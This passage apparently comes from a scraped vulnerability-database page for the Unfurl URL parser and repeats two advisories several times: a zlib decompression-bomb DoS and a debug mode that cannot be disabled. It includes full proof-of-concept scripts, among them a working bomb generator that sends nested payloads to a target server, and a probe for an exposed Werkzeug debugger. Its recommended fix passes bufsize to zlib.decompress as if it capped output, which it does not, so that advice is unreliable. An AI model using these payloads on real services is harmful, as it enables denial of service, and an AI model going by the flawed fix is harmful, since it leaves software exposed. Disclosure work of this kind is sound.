    parser = argparse.ArgumentParser(description='Unfurl debug mode PoC (corrected)')
    parser.add_argument('--spawn', action='store_true', help='Run local spawn check (default)')
    parser.add_argument('--target', help='Target Unfurl URL for remote probe')
    args = parser.parse_args()

    if args.target:
        run_remote_probe(args.target)
    else:
        run_spawn_check()


if __name__ == '__main__':
    main()

Impact

If the service is exposed beyond localhost (bound to 0.0.0.0 or reverse-proxied), an attacker can access the Werkzeug debugger. This can disclose sensitive information and may allow remote code execution if a debugger PIN is obtained. At minimum, stack traces and environment details are exposed on errors.

Affected versions

20200629

20200630


          20200630.2


          20200630.3


          20200630.4

20200702

20200703

20200729

20200812

20201102

20210308

20210309

+ 15 more

References

Updated Jul 08, 2026 · Source: OSV.dev

Mar 11, 2021

20210309 unknown

2 CVEs

CVE-2026-40036 PYSEC-2026-1294 GHSA-h5qv-qjv4-pc5m Jul 07, 2026

Unfurl's unbounded zlib decompression allows decompression bomb DoS

High

Network Low None None

Summary

The compressed data parser uses zlib.decompress() without a maximum output size. A small, highly compressed payload can expand to a very large output, causing memory exhaustion and denial of service.

Details

unfurl/parsers/parse_compressed.py calls zlib.decompress(decoded) with no size limit.
Inputs are accepted from URL components that match base64 patterns.
Highly compressible payloads can expand orders of magnitude larger than their compressed size.

PoC

Generate a payload with security_poc/poc_decompression_bomb.py --generate-only.
The script creates a base64-encoded zlib payload embedded in a URL.
Submitting the URL to /json/visjs can cause the server to allocate large amounts of memory.
The script includes a --test mode but warns it can crash the service.

PoC Script

#!/usr/bin/env python3
"""
Unfurl Decompression Bomb Proof of Concept
==========================================

This PoC demonstrates a Denial of Service vulnerability in Unfurl's
compressed data parsing. The zlib.decompress() call has no size limits,
allowing an attacker to submit small payloads that expand to gigabytes.

Vulnerability Location:
- parse_compressed.py:81-82:
    inflated_bytes = zlib.decompress(decoded)  # No maxsize parameter

Attack Impact:
- Memory exhaustion
- Service crash
- Resource consumption (cloud cost attacks)

Usage:
    python poc_decompression_bomb.py [--target URL] [--size SIZE_MB]
"""

import argparse
import base64
import os
import zlib
import requests
import sys
import time


def create_compression_bomb(target_size_mb: int = 100) -> bytes:
    """
    Create a compression bomb - small compressed data that expands to target_size_mb.

    Compression ratio for zeros can be ~1000:1 or better.
    A 1KB compressed payload can expand to ~1MB.
    A 100KB payload can expand to ~100MB.
    """
    # Create highly compressible data (all zeros)
    target_bytes = target_size_mb * 1024 * 1024
    uncompressed = b'\x00' * target_bytes

    # Compress with maximum compression
    compressed = zlib.compress(uncompressed, 9)

    compression_ratio = len(uncompressed) / len(compressed)

    print(f"[*] Created compression bomb:")
    print(f"    Compressed size: {len(compressed):,} bytes ({len(compressed)/1024:.2f} KB)")
    print(f"    Uncompressed size: {len(uncompressed):,} bytes ({target_size_mb} MB)")
    print(f"    Compression ratio: {compression_ratio:.0f}:1")

    return compressed


def create_nested_bomb(levels: int = 3, base_size_mb: int = 10) -> bytes:
    """
    Create a nested compression bomb (zip bomb style).
    Each level multiplies the final size.

    Warning: This can create VERY large expansions.
    3 levels with 10MB base = 10^3 = 1GB
    4 levels with 10MB base = 10^4 = 10GB
    """
    print(f"[*] Creating nested bomb with {levels} levels, {base_size_mb}MB base")

    # Start with base payload
    data = b'\x00' * (base_size_mb * 1024 * 1024)

    for level in range(levels):
        data = zlib.compress(data, 9)
        print(f"    Level {level + 1}: {len(data):,} bytes")

    theoretical_size = base_size_mb * (1000 ** levels)  # Rough estimate
    print(f"[*] Theoretical expanded size: ~{theoretical_size} MB")

    return data


def create_recursive_quine_bomb() -> bytes:
    """
    Create a recursive decompression scenario.
    When decompressed, the output is valid zlib that can be decompressed again.

    This exploits any recursive decompression logic.
    """
    # This is a simplified version - real quine bombs are more complex
    # The concept: output when decompressed is also valid compressed data

    # Create a pattern that when decompressed resembles compressed data
    # This is primarily theoretical for this vulnerability
    base = b'x\x9c' + (b'\x00' * 1000)  # Fake zlib header + zeros
    return zlib.compress(base * 1000, 9)


def encode_for_unfurl(compressed: bytes) -> str:
    """
    Encode compressed data as base64 for URL inclusion.
    Unfurl's parse_compressed.py will:
    1. Detect base64 pattern
    2. Decode base64
    3. Attempt zlib.decompress() without size limit
    """
    return base64.b64encode(compressed).decode('ascii')


def create_malicious_url(payload: str) -> str:
    """
    Create a URL containing the bomb payload.
    Multiple injection points are possible.
    """
    # As a query parameter value
    return f"https://example.com/page?data={payload}"


def test_vulnerability(target_url: str, payload_url: str, timeout: float = 30.0) -> dict:
    """
    Submit bomb to Unfurl and monitor for DoS indicators.
    """
    api_url = f"{target_url}/json/visjs"
    params = {'url': payload_url}

    result = {
        'submitted': True,
        'timeout': False,
        'error': None,
        'response_time': 0,
        'memory_exhaustion_likely': False
    }

    try:
        start = time.time()
        response = requests.get(api_url, params=params, timeout=timeout)
        result['response_time'] = time.time() - start
        result['status_code'] = response.status_code

        # Check for error responses indicating resource issues
        if response.status_code == 500:
            result['error'] = 'Server error - possible memory exhaustion'
            result['memory_exhaustion_likely'] = True
        elif response.status_code == 503:
            result['error'] = 'Service unavailable - DoS successful'
            result['memory_exhaustion_likely'] = True

    except requests.exceptions.Timeout:
        result['timeout'] = True
        result['error'] = f'Request timed out after {timeout}s - possible DoS'
        result['memory_exhaustion_likely'] = True
    except requests.exceptions.ConnectionError as e:
        result['error'] = f'Connection error: {e} - server may have crashed'
        result['memory_exhaustion_likely'] = True
    except Exception as e:
        result['error'] = str(e)

    return result


def main():
    parser = argparse.ArgumentParser(description='Unfurl Decompression Bomb PoC')
    parser.add_argument('--target', default='http://localhost:5000',
                        help='Target Unfurl instance URL')
    parser.add_argument('--size', type=int, default=100,
                        help='Target decompressed size in MB')
    parser.add_argument('--nested', type=int, default=0,
                        help='Nesting levels for nested bomb (0 = simple bomb)')
    parser.add_argument('--test', action='store_true',
                        help='Actually send the bomb (DANGEROUS)')
    parser.add_argument('--generate-only', action='store_true',
                        help='Only generate payload, do not send')
    parser.add_argument('--output', help='Save payload to file')
    args = parser.parse_args()

    print(f"""
╔═══════════════════════════════════════════════════════════════╗
║           UNFURL DECOMPRESSION BOMB PROOF OF CONCEPT          ║
╠═══════════════════════════════════════════════════════════════╣
║  Target:        {args.target:<45} ║
║  Expanded Size: {args.size:<45} MB ║
║  Nested Levels: {args.nested:<45} ║
╚═══════════════════════════════════════════════════════════════╝
""")

    # Generate the bomb
    if args.nested > 0:
        print(f"\n[!] Creating NESTED bomb - theoretical size could be enormous!")
        print(f"    Be very careful with nested levels > 2")
        if args.nested > 3:
            print(f"[!] {args.nested} levels could produce terabytes of data!")
            confirm = input("    Continue? (yes/no): ")
            if confirm.lower() != 'yes':
                sys.exit(0)
        compressed = create_nested_bomb(args.nested, args.size // (10 ** args.nested) or 1)
    else:
        compressed = create_compression_bomb(args.size)

    # Encode for URL
    b64_payload = encode_for_unfurl(compressed)
    malicious_url = create_malicious_url(b64_payload)

    print(f"\n[*] Payload Statistics:")
    print(f"    Compressed size: {len(compressed):,} bytes")
    print(f"    Base64 size: {len(b64_payload):,} bytes")
    print(f"    URL length: {len(malicious_url):,} bytes")

    # Save payload if requested
    if args.output:
        with open(args.output, 'w') as f:
            f.write(malicious_url)
        print(f"\n[+] Payload saved to: {args.output}")

    # Display truncated payload
    print(f"\n[*] Malicious URL (truncated):")
    print(f"    {malicious_url[:100]}...")
    print(f"    (Full URL is {len(malicious_url):,} characters)")

    # Save full payload for reference
    script_dir = os.path.dirname(os.path.abspath(__file__))
    payload_path = os.path.join(script_dir, 'bomb_payload.txt')
    with open(payload_path, 'w') as f:
        f.write(malicious_url)
    print(f"\n[+] Full payload saved to: {payload_path}")

    # Verify the bomb works locally
    print(f"\n[*] Verifying bomb locally (limited test)...")
    try:
        # Only decompress a small portion to verify it's valid
        test_data = zlib.decompress(compressed, bufsize=1024*1024)  # 1MB max
        print(f"    ✅ Bomb is valid - decompresses to zeros")
    except Exception as e:
        print(f"    ❌ Error: {e}")
        sys.exit(1)

    if args.generate_only:
        print("\n[*] Generate-only mode. Not sending payload.")
        sys.exit(0)

    if not args.test:
        print(f"""
╔═══════════════════════════════════════════════════════════════╗
║                      SAFETY CHECK                             ║
╚═══════════════════════════════════════════════════════════════╝

To actually test this vulnerability, run with --test flag.

Manual testing:
1. Copy the payload URL from {payload_path}
2. Submit it to the target Unfurl instance
3. Monitor server memory usage

Expected behavior if vulnerable:
- Server memory usage spikes dramatically
- Request hangs or times out
- Server may crash or become unresponsive

Mitigation check:
The vulnerability is FIXED if zlib.decompress() is called with
a max_length parameter, e.g.:
    zlib.decompress(data, bufsize=10*1024*1024)  # 10MB limit
""")
        sys.exit(0)

    # Actually test (dangerous!)
    print(f"\n[!] SENDING BOMB TO {args.target}")
    print(f"[!] This may crash the target service!")
    confirm = input("    Type 'CONFIRM' to proceed: ")

    if confirm != 'CONFIRM':
        print("    Aborted.")
        sys.exit(0)

    print(f"\n[*] Submitting payload...")
    result = test_vulnerability(args.target, malicious_url, timeout=60.0)

    print(f"\n[*] Results:")
    print(f"    Timeout: {result['timeout']}")
    print(f"    Response time: {result['response_time']:.2f}s")
    print(f"    Error: {result['error']}")
    print(f"    Memory exhaustion likely: {result['memory_exhaustion_likely']}")

    if result['memory_exhaustion_likely']:
        print(f"""
╔═══════════════════════════════════════════════════════════════╗
║                  VULNERABILITY CONFIRMED                      ║
╚═══════════════════════════════════════════════════════════════╝

The target appears vulnerable to decompression bomb attacks.

Evidence:
- {result['error'] or 'Abnormal response observed'}

Recommendation:
Add size limits to zlib.decompress() calls:

    # Before (vulnerable):
    inflated_bytes = zlib.decompress(decoded)

    # After (fixed):
    MAX_DECOMPRESSED_SIZE = 10 * 1024 * 1024  # 10MB
    inflated_bytes = zlib.decompress(decoded, bufsize=MAX_DECOMPRESSED_SIZE)

Or use streaming decompression with size checks:

    decompressor = zlib.decompressobj()
    chunks = []
    total_size = 0
    for chunk in iter(lambda: compressed_data.read(4096), b''):
        decompressed = decompressor.decompress(chunk)
        total_size += len(decompressed)
        if total_size > MAX_SIZE:
            raise ValueError("Decompressed data too large")
        chunks.append(decompressed)
""")
    else:
        print("\n[*] Target may not be vulnerable or attack was mitigated.")


if __name__ == '__main__':
    main()

Impact

A remote, unauthenticated attacker can cause high memory usage and potentially crash the service. The impact depends on deployment limits (process memory, URL length limits, and request size limits).

Affected versions

20200629

20200630


          20200630.2


          20200630.3


          20200630.4

20200702

20200703

20200729

20200812

20201102

20210308

20210309

+ 15 more

Fixed in

20260405

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-40035 GHSA-vg9h-jx4v-cwx2 Jan 29, 2026

Unfurl's debug mode cannot be disabled due to string config parsing (Werkzeug debugger exposure)

Critical

Network Low None None

Summary

The Unfurl web app enables Flask debug mode even when configuration sets debug = False. The config value is read as a string and passed directly to app.run(debug=...), so any non-empty string evaluates truthy. This leaves the Werkzeug debugger active by default.

Details

unfurl/app.py:web_app() reads debug via config['UNFURL_APP'].get('debug'), which returns a string.
UnfurlApp.__init__ passes that string directly to app.run(debug=unfurl_debug, ...).
If unfurl.ini omits debug, the default argument is the string "True".
As a result, debug mode is effectively always on and cannot be reliably disabled via config.

PoC

Create a local unfurl.ini with debug = False under [UNFURL_APP].
Run the server using unfurl_app (or python -c 'from unfurl.app import web_app; web_app()').
Observe server logs showing Debug mode: on / Debugger is active!.
The included PoC script security_poc/poc_debug_mode.py --spawn automates this check.

PoC Script (inline)

#!/usr/bin/env python3
"""
Unfurl Debug Mode PoC (Corrected)
================================

This PoC demonstrates that Unfurl's Flask debug mode is effectively
**always enabled by default** due to string parsing of the `debug`
config value. Even `debug = False` in `unfurl.ini` evaluates truthy
when passed to `app.run(debug=...)`.

Two modes:
1) --spawn (default): launch a local Unfurl server with debug=False
   in a temp config and inspect logs for "Debug mode: on".
2) --target: attempt a remote indicator check (best-effort; may be silent
   if no exception is triggered).
"""

import argparse
import os
import subprocess
import sys
import tempfile
import textwrap
import time


def run_spawn_check() -> None:
    repo_root = os.path.abspath(os.path.join(os.path.dirname(__file__), '..'))

    ini_contents = textwrap.dedent("""
    [UNFURL_APP]
    host = 127.0.0.1
    port = 5055
    debug = False
    remote_lookups = false

    [API_KEYS]
    bitly =
    macaddress_io =
    """).strip() + "\n"

    with tempfile.TemporaryDirectory() as tmp:
        ini_path = os.path.join(tmp, 'unfurl.ini')
        with open(ini_path, 'w') as f:
            f.write(ini_contents)

        env = os.environ.copy()
        env['PYTHONPATH'] = repo_root

        cmd = [sys.executable, '-c', 'from unfurl.app import web_app; web_app()']
        proc = subprocess.Popen(
            cmd,
            cwd=tmp,
            env=env,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            text=True
        )

        # Allow server to start and emit logs
        time.sleep(2)
        proc.terminate()
        try:
            out, err = proc.communicate(timeout=2)
        except subprocess.TimeoutExpired:
            proc.kill()
            out, err = proc.communicate()

        output = (out or "") + (err or "")

    print("\n[+] Debug mode spawn check")
    print("    Config: debug = False")

    if "Debug mode: on" in output or "Debugger is active" in output:
        print("    ✅ Debug mode is ON despite debug=False (vulnerable)")
    else:
        print("    ⚠️  Debug mode not detected in logs (check output below)")

    if output.strip():
        print("\n--- server output (truncated) ---")
        print("\n".join(output.splitlines()[:15]))
        print("--- end ---")


def run_remote_probe(target: str) -> None:
    import requests

    print("\n[+] Remote debug indicator probe (best-effort)")
    print(f"    Target: {target}")

    # This app does not easily throw exceptions from user input, so
    # absence of indicators does NOT prove debug is off.
    probe_urls = [
        f"{target.rstrip('/')}/__nonexistent__",
    ]

    detected = False
    for url in probe_urls:
        try:
            resp = requests.get(url, timeout=10)
            if "Werkzeug Debugger" in resp.text or "Traceback" in resp.text:
                detected = True
                print("    ✅ Debug indicators found")
                break
        except Exception as e:
            print(f"    ⚠️  Probe failed: {e}")

    if not detected:
        print("    ⚠️  No debug indicators found (this is not definitive)")


def main():
    parser = argparse.ArgumentParser(description='Unfurl debug mode PoC (corrected)')
    parser.add_argument('--spawn', action='store_true', help='Run local spawn check (default)')
    parser.add_argument('--target', help='Target Unfurl URL for remote probe')
    args = parser.parse_args()

    if args.target:
        run_remote_probe(args.target)
    else:
        run_spawn_check()


if __name__ == '__main__':
    main()

Impact

If the service is exposed beyond localhost (bound to 0.0.0.0 or reverse-proxied), an attacker can access the Werkzeug debugger. This can disclose sensitive information and may allow remote code execution if a debugger PIN is obtained. At minimum, stack traces and environment details are exposed on errors.

Affected versions

20200629

20200630


          20200630.2


          20200630.3


          20200630.4

20200702

20200703

20200729

20200812

20201102

20210308

20210309

+ 15 more

References

Updated Jul 08, 2026 · Source: OSV.dev

Mar 11, 2021

20210308 unknown

2 CVEs

CVE-2026-40036 PYSEC-2026-1294 GHSA-h5qv-qjv4-pc5m Jul 07, 2026

Unfurl's unbounded zlib decompression allows decompression bomb DoS

High

Network Low None None

Summary

The compressed data parser uses zlib.decompress() without a maximum output size. A small, highly compressed payload can expand to a very large output, causing memory exhaustion and denial of service.

Details

unfurl/parsers/parse_compressed.py calls zlib.decompress(decoded) with no size limit.
Inputs are accepted from URL components that match base64 patterns.
Highly compressible payloads can expand orders of magnitude larger than their compressed size.

PoC

Generate a payload with security_poc/poc_decompression_bomb.py --generate-only.
The script creates a base64-encoded zlib payload embedded in a URL.
Submitting the URL to /json/visjs can cause the server to allocate large amounts of memory.
The script includes a --test mode but warns it can crash the service.

PoC Script

#!/usr/bin/env python3
"""
Unfurl Decompression Bomb Proof of Concept
==========================================

This PoC demonstrates a Denial of Service vulnerability in Unfurl's
compressed data parsing. The zlib.decompress() call has no size limits,
allowing an attacker to submit small payloads that expand to gigabytes.

Vulnerability Location:
- parse_compressed.py:81-82:
    inflated_bytes = zlib.decompress(decoded)  # No maxsize parameter

Attack Impact:
- Memory exhaustion
- Service crash
- Resource consumption (cloud cost attacks)

Usage:
    python poc_decompression_bomb.py [--target URL] [--size SIZE_MB]
"""

import argparse
import base64
import os
import zlib
import requests
import sys
import time


def create_compression_bomb(target_size_mb: int = 100) -> bytes:
    """
    Create a compression bomb - small compressed data that expands to target_size_mb.

    Compression ratio for zeros can be ~1000:1 or better.
    A 1KB compressed payload can expand to ~1MB.
    A 100KB payload can expand to ~100MB.
    """
    # Create highly compressible data (all zeros)
    target_bytes = target_size_mb * 1024 * 1024
    uncompressed = b'\x00' * target_bytes

    # Compress with maximum compression
    compressed = zlib.compress(uncompressed, 9)

    compression_ratio = len(uncompressed) / len(compressed)

    print(f"[*] Created compression bomb:")
    print(f"    Compressed size: {len(compressed):,} bytes ({len(compressed)/1024:.2f} KB)")
    print(f"    Uncompressed size: {len(uncompressed):,} bytes ({target_size_mb} MB)")
    print(f"    Compression ratio: {compression_ratio:.0f}:1")

    return compressed


def create_nested_bomb(levels: int = 3, base_size_mb: int = 10) -> bytes:
    """
    Create a nested compression bomb (zip bomb style).
    Each level multiplies the final size.

    Warning: This can create VERY large expansions.
    3 levels with 10MB base = 10^3 = 1GB
    4 levels with 10MB base = 10^4 = 10GB
    """
    print(f"[*] Creating nested bomb with {levels} levels, {base_size_mb}MB base")

    # Start with base payload
    data = b'\x00' * (base_size_mb * 1024 * 1024)

    for level in range(levels):
        data = zlib.compress(data, 9)
        print(f"    Level {level + 1}: {len(data):,} bytes")

    theoretical_size = base_size_mb * (1000 ** levels)  # Rough estimate
    print(f"[*] Theoretical expanded size: ~{theoretical_size} MB")

    return data


def create_recursive_quine_bomb() -> bytes:
    """
    Create a recursive decompression scenario.
    When decompressed, the output is valid zlib that can be decompressed again.

    This exploits any recursive decompression logic.
    """
    # This is a simplified version - real quine bombs are more complex
    # The concept: output when decompressed is also valid compressed data

    # Create a pattern that when decompressed resembles compressed data
    # This is primarily theoretical for this vulnerability
    base = b'x\x9c' + (b'\x00' * 1000)  # Fake zlib header + zeros
    return zlib.compress(base * 1000, 9)


def encode_for_unfurl(compressed: bytes) -> str:
    """
    Encode compressed data as base64 for URL inclusion.
    Unfurl's parse_compressed.py will:
    1. Detect base64 pattern
    2. Decode base64
    3. Attempt zlib.decompress() without size limit
    """
    return base64.b64encode(compressed).decode('ascii')


def create_malicious_url(payload: str) -> str:
    """
    Create a URL containing the bomb payload.
    Multiple injection points are possible.
    """
    # As a query parameter value
    return f"https://example.com/page?data={payload}"


def test_vulnerability(target_url: str, payload_url: str, timeout: float = 30.0) -> dict:
    """
    Submit bomb to Unfurl and monitor for DoS indicators.
    """
    api_url = f"{target_url}/json/visjs"
    params = {'url': payload_url}

    result = {
        'submitted': True,
        'timeout': False,
        'error': None,
        'response_time': 0,
        'memory_exhaustion_likely': False
    }

    try:
        start = time.time()
        response = requests.get(api_url, params=params, timeout=timeout)
        result['response_time'] = time.time() - start
        result['status_code'] = response.status_code

        # Check for error responses indicating resource issues
        if response.status_code == 500:
            result['error'] = 'Server error - possible memory exhaustion'
            result['memory_exhaustion_likely'] = True
        elif response.status_code == 503:
            result['error'] = 'Service unavailable - DoS successful'
            result['memory_exhaustion_likely'] = True

    except requests.exceptions.Timeout:
        result['timeout'] = True
        result['error'] = f'Request timed out after {timeout}s - possible DoS'
        result['memory_exhaustion_likely'] = True
    except requests.exceptions.ConnectionError as e:
        result['error'] = f'Connection error: {e} - server may have crashed'
        result['memory_exhaustion_likely'] = True
    except Exception as e:
        result['error'] = str(e)

    return result


def main():
    parser = argparse.ArgumentParser(description='Unfurl Decompression Bomb PoC')
    parser.add_argument('--target', default='http://localhost:5000',
                        help='Target Unfurl instance URL')
    parser.add_argument('--size', type=int, default=100,
                        help='Target decompressed size in MB')
    parser.add_argument('--nested', type=int, default=0,
                        help='Nesting levels for nested bomb (0 = simple bomb)')
    parser.add_argument('--test', action='store_true',
                        help='Actually send the bomb (DANGEROUS)')
    parser.add_argument('--generate-only', action='store_true',
                        help='Only generate payload, do not send')
    parser.add_argument('--output', help='Save payload to file')
    args = parser.parse_args()

    print(f"""
╔═══════════════════════════════════════════════════════════════╗
║           UNFURL DECOMPRESSION BOMB PROOF OF CONCEPT          ║
╠═══════════════════════════════════════════════════════════════╣
║  Target:        {args.target:<45} ║
║  Expanded Size: {args.size:<45} MB ║
║  Nested Levels: {args.nested:<45} ║
╚═══════════════════════════════════════════════════════════════╝
""")

    # Generate the bomb
    if args.nested > 0:
        print(f"\n[!] Creating NESTED bomb - theoretical size could be enormous!")
        print(f"    Be very careful with nested levels > 2")
        if args.nested > 3:
            print(f"[!] {args.nested} levels could produce terabytes of data!")
            confirm = input("    Continue? (yes/no): ")
            if confirm.lower() != 'yes':
                sys.exit(0)
        compressed = create_nested_bomb(args.nested, args.size // (10 ** args.nested) or 1)
    else:
        compressed = create_compression_bomb(args.size)

    # Encode for URL
    b64_payload = encode_for_unfurl(compressed)
    malicious_url = create_malicious_url(b64_payload)

    print(f"\n[*] Payload Statistics:")
    print(f"    Compressed size: {len(compressed):,} bytes")
    print(f"    Base64 size: {len(b64_payload):,} bytes")
    print(f"    URL length: {len(malicious_url):,} bytes")

    # Save payload if requested
    if args.output:
        with open(args.output, 'w') as f:
            f.write(malicious_url)
        print(f"\n[+] Payload saved to: {args.output}")

    # Display truncated payload
    print(f"\n[*] Malicious URL (truncated):")
    print(f"    {malicious_url[:100]}...")
    print(f"    (Full URL is {len(malicious_url):,} characters)")

    # Save full payload for reference
    script_dir = os.path.dirname(os.path.abspath(__file__))
    payload_path = os.path.join(script_dir, 'bomb_payload.txt')
    with open(payload_path, 'w') as f:
        f.write(malicious_url)
    print(f"\n[+] Full payload saved to: {payload_path}")

    # Verify the bomb works locally
    print(f"\n[*] Verifying bomb locally (limited test)...")
    try:
        # Only decompress a small portion to verify it's valid
        test_data = zlib.decompress(compressed, bufsize=1024*1024)  # 1MB max
        print(f"    ✅ Bomb is valid - decompresses to zeros")
    except Exception as e:
        print(f"    ❌ Error: {e}")
        sys.exit(1)

    if args.generate_only:
        print("\n[*] Generate-only mode. Not sending payload.")
        sys.exit(0)

    if not args.test:
        print(f"""
╔═══════════════════════════════════════════════════════════════╗
║                      SAFETY CHECK                             ║
╚═══════════════════════════════════════════════════════════════╝

To actually test this vulnerability, run with --test flag.

Manual testing:
1. Copy the payload URL from {payload_path}
2. Submit it to the target Unfurl instance
3. Monitor server memory usage

Expected behavior if vulnerable:
- Server memory usage spikes dramatically
- Request hangs or times out
- Server may crash or become unresponsive

Mitigation check:
The vulnerability is FIXED if zlib.decompress() is called with
a max_length parameter, e.g.:
    zlib.decompress(data, bufsize=10*1024*1024)  # 10MB limit
""")
        sys.exit(0)

    # Actually test (dangerous!)
    print(f"\n[!] SENDING BOMB TO {args.target}")
    print(f"[!] This may crash the target service!")
    confirm = input("    Type 'CONFIRM' to proceed: ")

    if confirm != 'CONFIRM':
        print("    Aborted.")
        sys.exit(0)

    print(f"\n[*] Submitting payload...")
    result = test_vulnerability(args.target, malicious_url, timeout=60.0)

    print(f"\n[*] Results:")
    print(f"    Timeout: {result['timeout']}")
    print(f"    Response time: {result['response_time']:.2f}s")
    print(f"    Error: {result['error']}")
    print(f"    Memory exhaustion likely: {result['memory_exhaustion_likely']}")

    if result['memory_exhaustion_likely']:
        print(f"""
╔═══════════════════════════════════════════════════════════════╗
║                  VULNERABILITY CONFIRMED                      ║
╚═══════════════════════════════════════════════════════════════╝

The target appears vulnerable to decompression bomb attacks.

Evidence:
- {result['error'] or 'Abnormal response observed'}

Recommendation:
Add size limits to zlib.decompress() calls:

    # Before (vulnerable):
    inflated_bytes = zlib.decompress(decoded)

    # After (fixed):
    MAX_DECOMPRESSED_SIZE = 10 * 1024 * 1024  # 10MB
    inflated_bytes = zlib.decompress(decoded, bufsize=MAX_DECOMPRESSED_SIZE)

Or use streaming decompression with size checks:

    decompressor = zlib.decompressobj()
    chunks = []
    total_size = 0
    for chunk in iter(lambda: compressed_data.read(4096), b''):
        decompressed = decompressor.decompress(chunk)
        total_size += len(decompressed)
        if total_size > MAX_SIZE:
            raise ValueError("Decompressed data too large")
        chunks.append(decompressed)
""")
    else:
        print("\n[*] Target may not be vulnerable or attack was mitigated.")


if __name__ == '__main__':
    main()

Impact

A remote, unauthenticated attacker can cause high memory usage and potentially crash the service. The impact depends on deployment limits (process memory, URL length limits, and request size limits).

Affected versions

20200629

20200630


          20200630.2


          20200630.3


          20200630.4

20200702

20200703

20200729

20200812

20201102

20210308

20210309

+ 15 more

Fixed in

20260405

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-40035 GHSA-vg9h-jx4v-cwx2 Jan 29, 2026

Unfurl's debug mode cannot be disabled due to string config parsing (Werkzeug debugger exposure)

Critical

Network Low None None

Summary

The Unfurl web app enables Flask debug mode even when configuration sets debug = False. The config value is read as a string and passed directly to app.run(debug=...), so any non-empty string evaluates truthy. This leaves the Werkzeug debugger active by default.

Details

unfurl/app.py:web_app() reads debug via config['UNFURL_APP'].get('debug'), which returns a string.
UnfurlApp.__init__ passes that string directly to app.run(debug=unfurl_debug, ...).
If unfurl.ini omits debug, the default argument is the string "True".
As a result, debug mode is effectively always on and cannot be reliably disabled via config.

PoC

Create a local unfurl.ini with debug = False under [UNFURL_APP].
Run the server using unfurl_app (or python -c 'from unfurl.app import web_app; web_app()').
Observe server logs showing Debug mode: on / Debugger is active!.
The included PoC script security_poc/poc_debug_mode.py --spawn automates this check.

PoC Script (inline)

#!/usr/bin/env python3
"""
Unfurl Debug Mode PoC (Corrected)
================================

This PoC demonstrates that Unfurl's Flask debug mode is effectively
**always enabled by default** due to string parsing of the `debug`
config value. Even `debug = False` in `unfurl.ini` evaluates truthy
when passed to `app.run(debug=...)`.

Two modes:
1) --spawn (default): launch a local Unfurl server with debug=False
   in a temp config and inspect logs for "Debug mode: on".
2) --target: attempt a remote indicator check (best-effort; may be silent
   if no exception is triggered).
"""

import argparse
import os
import subprocess
import sys
import tempfile
import textwrap
import time


def run_spawn_check() -> None:
    repo_root = os.path.abspath(os.path.join(os.path.dirname(__file__), '..'))

    ini_contents = textwrap.dedent("""
    [UNFURL_APP]
    host = 127.0.0.1
    port = 5055
    debug = False
    remote_lookups = false

    [API_KEYS]
    bitly =
    macaddress_io =
    """).strip() + "\n"

    with tempfile.TemporaryDirectory() as tmp:
        ini_path = os.path.join(tmp, 'unfurl.ini')
        with open(ini_path, 'w') as f:
            f.write(ini_contents)

        env = os.environ.copy()
        env['PYTHONPATH'] = repo_root

        cmd = [sys.executable, '-c', 'from unfurl.app import web_app; web_app()']
        proc = subprocess.Popen(
            cmd,
            cwd=tmp,
            env=env,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            text=True
        )

        # Allow server to start and emit logs
        time.sleep(2)
        proc.terminate()
        try:
            out, err = proc.communicate(timeout=2)
        except subprocess.TimeoutExpired:
            proc.kill()
            out, err = proc.communicate()

        output = (out or "") + (err or "")

    print("\n[+] Debug mode spawn check")
    print("    Config: debug = False")

    if "Debug mode: on" in output or "Debugger is active" in output:
        print("    ✅ Debug mode is ON despite debug=False (vulnerable)")
    else:
        print("    ⚠️  Debug mode not detected in logs (check output below)")

    if output.strip():
        print("\n--- server output (truncated) ---")
        print("\n".join(output.splitlines()[:15]))
        print("--- end ---")


def run_remote_probe(target: str) -> None:
    import requests

    print("\n[+] Remote debug indicator probe (best-effort)")
    print(f"    Target: {target}")

    # This app does not easily throw exceptions from user input, so
    # absence of indicators does NOT prove debug is off.
    probe_urls = [
        f"{target.rstrip('/')}/__nonexistent__",
    ]

    detected = False
    for url in probe_urls:
        try:
            resp = requests.get(url, timeout=10)
            if "Werkzeug Debugger" in resp.text or "Traceback" in resp.text:
                detected = True
                print("    ✅ Debug indicators found")
                break
        except Exception as e:
            print(f"    ⚠️  Probe failed: {e}")

    if not detected:
        print("    ⚠️  No debug indicators found (this is not definitive)")


def main():
    parser = argparse.ArgumentParser(description='Unfurl debug mode PoC (corrected)')
    parser.add_argument('--spawn', action='store_true', help='Run local spawn check (default)')
    parser.add_argument('--target', help='Target Unfurl URL for remote probe')
    args = parser.parse_args()

    if args.target:
        run_remote_probe(args.target)
    else:
        run_spawn_check()


if __name__ == '__main__':
    main()

Impact

If the service is exposed beyond localhost (bound to 0.0.0.0 or reverse-proxied), an attacker can access the Werkzeug debugger. This can disclose sensitive information and may allow remote code execution if a debugger PIN is obtained. At minimum, stack traces and environment details are exposed on errors.

Affected versions

20200629

20200630


          20200630.2


          20200630.3


          20200630.4

20200702

20200703

20200729

20200812

20201102

20210308

20210309

+ 15 more

References

Updated Jul 08, 2026 · Source: OSV.dev

Mar 11, 2021

20201102 unknown

2 CVEs

CVE-2026-40036 PYSEC-2026-1294 GHSA-h5qv-qjv4-pc5m Jul 07, 2026

Unfurl's unbounded zlib decompression allows decompression bomb DoS

High

Network Low None None

Summary

The compressed data parser uses zlib.decompress() without a maximum output size. A small, highly compressed payload can expand to a very large output, causing memory exhaustion and denial of service.

Details

unfurl/parsers/parse_compressed.py calls zlib.decompress(decoded) with no size limit.
Inputs are accepted from URL components that match base64 patterns.
Highly compressible payloads can expand orders of magnitude larger than their compressed size.

PoC

Generate a payload with security_poc/poc_decompression_bomb.py --generate-only.
The script creates a base64-encoded zlib payload embedded in a URL.
Submitting the URL to /json/visjs can cause the server to allocate large amounts of memory.
The script includes a --test mode but warns it can crash the service.

PoC Script

#!/usr/bin/env python3
"""
Unfurl Decompression Bomb Proof of Concept
==========================================

This PoC demonstrates a Denial of Service vulnerability in Unfurl's
compressed data parsing. The zlib.decompress() call has no size limits,
allowing an attacker to submit small payloads that expand to gigabytes.

Vulnerability Location:
- parse_compressed.py:81-82:
    inflated_bytes = zlib.decompress(decoded)  # No maxsize parameter

Attack Impact:
- Memory exhaustion
- Service crash
- Resource consumption (cloud cost attacks)

Usage:
    python poc_decompression_bomb.py [--target URL] [--size SIZE_MB]
"""

import argparse
import base64
import os
import zlib
import requests
import sys
import time


